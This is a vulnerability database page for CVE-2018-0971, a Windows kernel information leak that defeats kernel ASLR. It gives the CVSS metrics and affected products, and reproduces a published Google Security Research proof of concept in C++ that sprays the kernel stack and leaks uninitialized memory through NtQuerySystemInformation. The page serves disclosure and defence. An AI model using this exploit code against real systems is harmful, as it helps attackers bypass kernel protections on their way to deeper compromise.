CVE-2018-0971 : Detail

CVE-2018-0971

5.5
/
Medium
88.66%V3
Local
2018-04-11
23h00 +00:00
2018-04-18
07h57 +00:00
CVE.org
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CVE Descriptions

An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass, aka "Windows Kernel Information Disclosure Vulnerability." This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers. This CVE ID is unique from CVE-2018-0887, CVE-2018-0960, CVE-2018-0968, CVE-2018-0969, CVE-2018-0970, CVE-2018-0972, CVE-2018-0973, CVE-2018-0974, CVE-2018-0975.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44461

Publication date : 2018-04-15 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* We have discovered that the nt!NtQuerySystemInformation system call invoked with the SystemPageFileInformation (0x12) and SystemPageFileInformationEx (0x90) information classes discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10. Based on the contents of the output structure returned by the kernel, we have concluded that it contains a nested UNICODE_STRING structure at offset 0x10, which has the following definition: --- cut --- typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; --- cut --- On x64 builds, the compiler introduces 4 bytes of padding between the "MaximumLength" and "Buffer" fields, in order to align the "Buffer" pointer to an 8-byte boundary. It seems that these padding bytes are never initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this form. The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 ('A') marker byte, invokes the nt!NtQuerySystemInformation syscall with the affected information classes, and prints the contents of the output buffer on the screen. The result of running it in our test Windows 10 environment is as follows: --- cut --- ---------- SystemPageFileInformation Status: 0, Return Length: 48 00000000: 00 00 00 00 00 c0 02 00 00 00 00 00 01 01 00 00 ................ 00000010: 26 00 28 00 41 41 41 41 a0 fe 38 5c cc 00 00 00 &.(.AAAA..8\.... 00000020: 5c 00 3f 00 3f 00 5c 00 43 00 3a 00 5c 00 70 00 \.?.?.\.C.:.\.p. 00000030: 61 00 67 00 65 00 66 00 69 00 6c 00 65 00 2e 00 a.g.e.f.i.l.e... 00000040: 73 00 79 00 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? s.y.s........... ---------- SystemPageFileInformationEx Status: 0, Return Length: 50 00000000: 00 00 00 00 00 c0 02 00 00 00 00 00 01 01 00 00 ................ 00000010: 26 00 28 00 41 41 41 41 a8 fe 38 5c cc 00 00 00 &.(.AAAA..8\.... 00000020: 00 c0 02 00 3f c1 13 00 5c 00 3f 00 3f 00 5c 00 ....?...\.?.?.\. 00000030: 43 00 3a 00 5c 00 70 00 61 00 67 00 65 00 66 00 C.:.\.p.a.g.e.f. 00000040: 69 00 6c 00 65 00 2e 00 73 00 79 00 73 00 00 00 i.l.e...s.y.s... --- cut --- It is clearly visible that in both cases, 4 bytes returned at offsets 0x14-0x17 originate from an uninitialized kernel stack region. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <ntstatus.h> #include <cstdio> #pragma comment(lib, "ntdll.lib") #define SystemPageFileInformation ((SYSTEM_INFORMATION_CLASS)0x12) #define SystemPageFileInformationEx ((SYSTEM_INFORMATION_CLASS)0x90) extern "C" { NTSTATUS WINAPI NtQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); }; VOID PrintHex(PVOID Buffer, ULONG dwBytes) { PBYTE Data = (PBYTE)Buffer; for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { static bool initialized = false; static HPALETTE(NTAPI *EngCreatePalette)( _In_ ULONG iMode, _In_ ULONG cColors, _In_ ULONG *pulColors, _In_ FLONG flRed, _In_ FLONG flGreen, _In_ FLONG flBlue ); if (!initialized) { EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette"); initialized = true; } static ULONG buffer[256]; MyMemset((PBYTE)buffer, 'A', sizeof(buffer)); EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0); MyMemset((PBYTE)buffer, 'B', sizeof(buffer)); } int main() { BYTE OutputBuffer[128]; ULONG ReturnLength = 0; RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer)); SprayKernelStack(); NTSTATUS Status = NtQuerySystemInformation(SystemPageFileInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength); printf("---------- SystemPageFileInformation Status: %x, Return Length: %x\n", Status, ReturnLength); PrintHex(OutputBuffer, ReturnLength); RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer)); SprayKernelStack(); Status = NtQuerySystemInformation(SystemPageFileInformationEx, OutputBuffer, sizeof(OutputBuffer), &ReturnLength); printf("---------- SystemPageFileInformationEx Status: %x, Return Length: %x\n", Status, ReturnLength); PrintHex(OutputBuffer, ReturnLength); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version *

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version *

References

http://www.securityfocus.com/bid/103648
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/44461/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1040657
Tags : vdb-entry, x_refsource_SECTRACK